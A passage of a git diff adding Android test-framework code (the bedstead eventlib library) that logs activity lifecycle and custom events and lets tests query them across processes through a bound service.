+            LocalEventQuerier<?, ?> querier =
+                    new LocalEventQuerier<>(getApplicationContext(), query);
+
+            clients.put(id, new QueryClient(query, querier));
+        }
+
+        @Override
+        public Bundle get(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Event e = clients.get(id).querier.get(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle getNext(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Event e = clients.get(id).querier.getNext(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle next(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Event e = clients.get(id).querier.next(earliestLogtime);
+            return prepareReturnBundle(e);
+        }
+
+        @Override
+        public Bundle poll(long id, Bundle data) {
+            Instant earliestLogtime = (Instant) data.getSerializable(EARLIEST_LOG_TIME_KEY);
+            Duration timeoutDuration = (Duration) data.getSerializable(TIMEOUT_KEY);
+            Event e = clients.get(id).querier.poll(earliestLogtime, timeoutDuration);
+            return prepareReturnBundle(e);
+        }
+
+        private Bundle prepareReturnBundle(Event event) {
+            Bundle responseBundle = new Bundle();
+            if (event != null) {
+                responseBundle.putSerializable(EVENT_KEY, event);
+            }
+
+            return responseBundle;
+        }
+    };
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return binder;
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
new file mode 100644
index 0000000..26c9f97
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib;
+
+import static android.content.Context.BIND_AUTO_CREATE;
+
+import static com.android.eventlib.QueryService.EARLIEST_LOG_TIME_KEY;
+import static com.android.eventlib.QueryService.EVENT_KEY;
+import static com.android.eventlib.QueryService.QUERIER_KEY;
+import static com.android.eventlib.QueryService.TIMEOUT_KEY;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import java.time.Duration;
+import java.time.Instant;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Implementation of {@link EventQuerier} used to query a single other process.
+ */
+public class
+    RemoteEventQuerier<E extends Event, F extends EventLogsQuery> implements EventQuerier<E> {
+
+    private static final int CONNECTION_TIMEOUT_SECONDS = 30;
+    private static final String LOG_TAG = "RemoteEventQuerier";
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private final String mPackageName;
+    private final EventLogsQuery<E, F> mEventLogsQuery;
+    // Each client gets a random ID
+    private final long id = UUID.randomUUID().getMostSignificantBits();
+
+    public RemoteEventQuerier(String packageName, EventLogsQuery<E, F> eventLogsQuery) {
+        mPackageName = packageName;
+        mEventLogsQuery = eventLogsQuery;
+    }
+
+    private final ServiceConnection connection =
+            new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName className, IBinder service) {
+                    mQuery.set(IQueryService.Stub.asInterface(service));
+                    mConnectionCountdown.countDown();
+                }
+
+                @Override
+                public void onServiceDisconnected(ComponentName className) {
+                    Log.i(LOG_TAG, "Service disconnected from " + className);
+                }
+            };
+
+    @Override
+    public E get(Instant earliestLogTime) {
+        ensureInitialised();
+        Bundle data = createRequestBundle();
+        try {
+            Bundle resultMessage = mQuery.get().get(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                resultMessage = mQuery.get().getNext(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    @Override
+    public E next(Instant earliestLogTime) {
+        ensureInitialised();
+        Bundle data = createRequestBundle();
+        try {
+            Bundle resultMessage = mQuery.get().next(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                resultMessage = mQuery.get().next(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    @Override
+    public E poll(Instant earliestLogTime, Duration timeout) {
+        ensureInitialised();
+        Instant endTime = Instant.now().plus(timeout);
+        Bundle data = createRequestBundle();
+        Duration remainingTimeout = Duration.between(Instant.now(), endTime);
+        data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+        try {
+            Bundle resultMessage = mQuery.get().poll(id, data);
+            E e = (E) resultMessage.getSerializable(EVENT_KEY);
+            while (e != null && !mEventLogsQuery.filterAll(e)) {
+                remainingTimeout = Duration.between(Instant.now(), endTime);
+                data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+                resultMessage = mQuery.get().poll(id, data);
+                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            }
+            return e;
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    private Bundle createRequestBundle() {
+        Bundle data = new Bundle();
+        data.putSerializable(EARLIEST_LOG_TIME_KEY, EventLogs.sEarliestLogTime);
+        return data;
+    }
+
+    private AtomicReference<IQueryService> mQuery = new AtomicReference<>();
+    private CountDownLatch mConnectionCountdown;
+
+    private void ensureInitialised() {
+        if (mQuery.get() != null) {
+            return;
+        }
+
+        blockingConnectOrFail();
+        Bundle data = new Bundle();
+        data.putSerializable(QUERIER_KEY, mEventLogsQuery);
+
+        try {
+            mQuery.get().init(id, data);
+        } catch (RemoteException e) {
+            throw new AssertionError("Error making cross-process call", e);
+        }
+    }
+
+    private void blockingConnectOrFail() {
+        mConnectionCountdown = new CountDownLatch(1);
+        Intent intent = new Intent();
+        intent.setPackage(mPackageName);
+        intent.setClassName(mPackageName, "com.android.eventlib.QueryService");
+
+        boolean didBind;
+        if (mEventLogsQuery.getUserHandle() != null) {
+            didBind = CONTEXT.bindServiceAsUser(
+                    intent, connection, /* flags= */ BIND_AUTO_CREATE,
+                    mEventLogsQuery.getUserHandle());
+        } else {
+            didBind = CONTEXT.bindService(intent, connection, /* flags= */ BIND_AUTO_CREATE);
+        }
+
+        if (didBind) {
+            try {
+                mConnectionCountdown.await(CONNECTION_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                throw new AssertionError("Interrupted while binding to service", e);
+            }
+        }
+
+        if (mQuery.get() == null) {
+            throw new AssertionError("Tried to bind but failed");
+        }
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
new file mode 100644
index 0000000..26c0906
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events;
+
+import android.content.Context;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.queryhelpers.SerializableQuery;
+import com.android.eventlib.queryhelpers.SerializableQueryHelper;
+import com.android.eventlib.queryhelpers.StringQuery;
+import com.android.eventlib.queryhelpers.StringQueryHelper;
+
+import java.io.Serializable;
+
+/**
+ * Implementation of {@link Event} which can be used for events not covered by other
+ * {@link Event} subclasses.
+ *
+ * <p>To use, set custom data as {@link #tag()} and {@link #data()}.
+ */
+public final class CustomEvent extends Event {
+
+    /** Begin a query for {@link CustomEvent} events. */
+    public static CustomEventQuery queryPackage(String packageName) {
+        return new CustomEventQuery(packageName);
+    }
+
+    public static final class CustomEventQuery
+            extends EventLogsQuery<CustomEvent, CustomEventQuery> {
+        StringQueryHelper<CustomEventQuery> mTag = new StringQueryHelper<>(this);
+        SerializableQueryHelper<CustomEventQuery> mData = new SerializableQueryHelper<>(this);
+
+        private CustomEventQuery(String packageName) {
+            super(CustomEvent.class, packageName);
+        }
+
+        /** Filter for a particular {@link CustomEvent#tag()}. */
+        @CheckResult
+        public StringQuery<CustomEventQuery> whereTag() {
+            return mTag;
+        }
+
+        /** Filter for a particular {@link CustomEvent#data()}. */
+        @CheckResult
+        public SerializableQuery<CustomEventQuery> whereData() {
+            return mData;
+        }
+
+        @Override
+        protected boolean filter(CustomEvent event) {
+            if (!mTag.matches(event.mTag)) {
+                return false;
+            }
+            if (!mData.matches(event.mData)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link CustomEvent}. */
+    public static CustomEventLogger logger(Context context) {
+        return new CustomEventLogger(context);
+    }
+
+    public static final class CustomEventLogger extends EventLogger<CustomEvent> {
+        private CustomEventLogger(Context context) {
+            super(context, new CustomEvent());
+        }
+
+        /** Set the {@link CustomEvent#tag()}. */
+        public CustomEventLogger setTag(String tag) {
+            mEvent.mTag = tag;
+            return this;
+        }
+
+        /** Set the {@link CustomEvent#data()}. */
+        public CustomEventLogger setData(Serializable data) {
+            mEvent.mData = data;
+            return this;
+        }
+    }
+
+    protected String mTag;
+    protected Serializable mData;
+
+    /** Get the tag set using {@link CustomEventLogger#setTag(String)}. */
+    public String tag() {
+        return mTag;
+    }
+
+    /** Get the tag set using {@link CustomEventLogger#setData(Serializable)}. */
+    public Serializable data() {
+        return mData;
+    }
+
+    @Override
+    public String toString() {
+        return "CustomEvent{"
+                + "tag='" + mTag + "'"
+                + ", data=" + mData
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
+
+
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
new file mode 100644
index 0000000..0e9660c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+import com.android.eventlib.queryhelpers.BundleQueryHelper;
+import com.android.eventlib.queryhelpers.PersistableBundleQuery;
+import com.android.eventlib.queryhelpers.PersistableBundleQueryHelper;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link Activity#onCreate(Bundle)} or
+ * {@link Activity#onCreate(Bundle, PersistableBundle)} is called.
+ */
+public final class ActivityCreatedEvent extends Event {
+
+    /** Begin a query for {@link ActivityCreatedEvent} events. */
+    public static ActivityCreatedEventQuery queryPackage(String packageName) {
+        return new ActivityCreatedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityCreatedEvent}. */
+    public static final class ActivityCreatedEventQuery
+            extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+        ActivityQueryHelper<ActivityCreatedEventQuery> mActivity = new ActivityQueryHelper<>(this);
+        BundleQueryHelper<ActivityCreatedEventQuery> mSavedInstanceState =
+                new BundleQueryHelper<>(this);
+        PersistableBundleQueryHelper<ActivityCreatedEventQuery> mPersistentState =
+                new PersistableBundleQueryHelper<>(this);
+
+        private ActivityCreatedEventQuery(String packageName) {
+            super(ActivityCreatedEvent.class, packageName);
+        }
+
+        /**
+         * Query {@code savedInstanceState} {@link Bundle} passed into
+         * {@link Activity#onCreate(Bundle)} or
+         * {@link Activity#onCreate(Bundle, PersistableBundle)}.
+         */
+        @CheckResult
+        public BundleQueryHelper<ActivityCreatedEventQuery> whereSavedInstanceState() {
+            return mSavedInstanceState;
+        }
+
+        /**
+         * Query {@code persistentState} {@link PersistableBundle} passed into
+         * {@link Activity#onCreate(Bundle, PersistableBundle)}.
+         */
+        @CheckResult
+        public PersistableBundleQuery<ActivityCreatedEventQuery> wherePersistentState() {
+            return mPersistentState;
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityCreatedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityCreatedEvent event) {
+            if (!mSavedInstanceState.matches(event.mSavedInstanceState)) {
+                return false;
+            }
+            if (!mPersistentState.matches(event.mPersistentState)) {
+                return false;
+            }
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityCreatedEvent}. */
+    public static ActivityCreatedEventLogger logger(Activity activity, Bundle savedInstanceState) {
+        return new ActivityCreatedEventLogger(activity, savedInstanceState);
+    }
+
+    /** {@link EventLogger} for {@link ActivityCreatedEvent}. */
+    public static final class ActivityCreatedEventLogger extends EventLogger<ActivityCreatedEvent> {
+        private ActivityCreatedEventLogger(Activity activity, Bundle savedInstanceState) {
+            super(activity, new ActivityCreatedEvent());
+            mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            setActivity(activity);
+        }
+
+        public ActivityCreatedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setSavedInstanceState(Bundle savedInstanceState) {
+            mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
+            return this;
+        }
+
+        public ActivityCreatedEventLogger setPersistentState(PersistableBundle persistentState) {
+            mEvent.mPersistentState = new SerializableParcelWrapper<>(persistentState);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Bundle> mSavedInstanceState;
+    protected SerializableParcelWrapper<PersistableBundle> mPersistentState;
+    protected ActivityInfo mActivity;
+
+    /**
+     * The {@code savedInstanceState} {@link Bundle} passed into
+     * {@link Activity#onCreate(Bundle)} or
+     * {@link Activity#onCreate(Bundle, PersistableBundle)}.
+     */
+    public Bundle savedInstanceState() {
+        if (mSavedInstanceState == null) {
+            return null;
+        }
+        return mSavedInstanceState.get();
+    }
+
+    /**
+     * The {@code persistentState} {@link PersistableBundle} passed into
+     * {@link Activity#onCreate(Bundle, PersistableBundle)}.
+     */
+    public PersistableBundle persistentState() {
+        if (mPersistentState == null) {
+            return null;
+        }
+        return mPersistentState.get();
+    }
+
+    /** Information about the {@link Activity} started. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityCreatedEvent{"
+                + " savedInstanceState=" + savedInstanceState()
+                + ", persistentState=" + persistentState()
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
new file mode 100644
index 0000000..da40ebf
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onDestroy()} is called.
+ */
+public final class ActivityDestroyedEvent extends Event {
+
+    /** Begin a query for {@link ActivityDestroyedEvent} events. */
+    public static ActivityDestroyedEventQuery queryPackage(String packageName) {
+        return new ActivityDestroyedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityDestroyedEvent}. */
+    public static final class ActivityDestroyedEventQuery
+            extends EventLogsQuery<ActivityDestroyedEvent, ActivityDestroyedEventQuery> {
+        ActivityQueryHelper<ActivityDestroyedEventQuery> mActivity =
+                new ActivityQueryHelper<>(this);
+
+        private ActivityDestroyedEventQuery(String packageName) {
+            super(ActivityDestroyedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityDestroyedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityDestroyedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityDestroyedEvent}. */
+    public static ActivityDestroyedEventLogger logger(Activity activity) {
+        return new ActivityDestroyedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityDestroyedEvent}. */
+    public static final class ActivityDestroyedEventLogger
+            extends EventLogger<ActivityDestroyedEvent> {
+        private ActivityDestroyedEventLogger(Activity activity) {
+            super(activity, new ActivityDestroyedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being destroyed. */
+        public ActivityDestroyedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being destroyed. */
+        public ActivityDestroyedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being destroyed. */
+        public ActivityDestroyedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} destroyed. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityDestroyedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
new file mode 100644
index 0000000..5f22317
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onPause()} is called.
+ */
+public final class ActivityPausedEvent extends Event {
+
+    /** Begin a query for {@link ActivityPausedEvent} events. */
+    public static ActivityPausedEventQuery queryPackage(String packageName) {
+        return new ActivityPausedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityPausedEvent}. */
+    public static final class ActivityPausedEventQuery
+            extends EventLogsQuery<ActivityPausedEvent, ActivityPausedEventQuery> {
+        ActivityQueryHelper<ActivityPausedEventQuery> mActivity =
+                new ActivityQueryHelper<>(this);
+
+        private ActivityPausedEventQuery(String packageName) {
+            super(ActivityPausedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityPausedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityPausedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityPausedEvent}. */
+    public static ActivityPausedEventLogger logger(Activity activity) {
+        return new ActivityPausedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityPausedEvent}. */
+    public static final class ActivityPausedEventLogger
+            extends EventLogger<ActivityPausedEvent> {
+        private ActivityPausedEventLogger(Activity activity) {
+            super(activity, new ActivityPausedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being destroyed. */
+        public ActivityPausedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being destroyed. */
+        public ActivityPausedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being destroyed. */
+        public ActivityPausedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} destroyed. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityPausedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
new file mode 100644
index 0000000..c8f6d86
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onRestart()} is called.
+ */
+public final class ActivityRestartedEvent extends Event {
+
+    /** Begin a query for {@link ActivityRestartedEvent} events. */
+    public static ActivityRestartedEventQuery queryPackage(String packageName) {
+        return new ActivityRestartedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityRestartedEvent}. */
+    public static final class ActivityRestartedEventQuery
+            extends EventLogsQuery<ActivityRestartedEvent, ActivityRestartedEventQuery> {
+        ActivityQueryHelper<ActivityRestartedEventQuery> mActivity =
+                new ActivityQueryHelper<>(this);
+
+        private ActivityRestartedEventQuery(String packageName) {
+            super(ActivityRestartedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityRestartedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityRestartedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityRestartedEvent}. */
+    public static ActivityRestartedEventLogger logger(Activity activity) {
+        return new ActivityRestartedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityRestartedEvent}. */
+    public static final class ActivityRestartedEventLogger
+            extends EventLogger<ActivityRestartedEvent> {
+        private ActivityRestartedEventLogger(Activity activity) {
+            super(activity, new ActivityRestartedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being destroyed. */
+        public ActivityRestartedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being destroyed. */
+        public ActivityRestartedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being destroyed. */
+        public ActivityRestartedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} destroyed. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityRestartedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
new file mode 100644
index 0000000..5d10f83
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onResume()}} is called.
+ */
+public final class ActivityResumedEvent extends Event {
+
+    /** Begin a query for {@link ActivityResumedEvent} events. */
+    public static ActivityResumedEventQuery queryPackage(String packageName) {
+        return new ActivityResumedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityResumedEvent}. */
+    public static final class ActivityResumedEventQuery
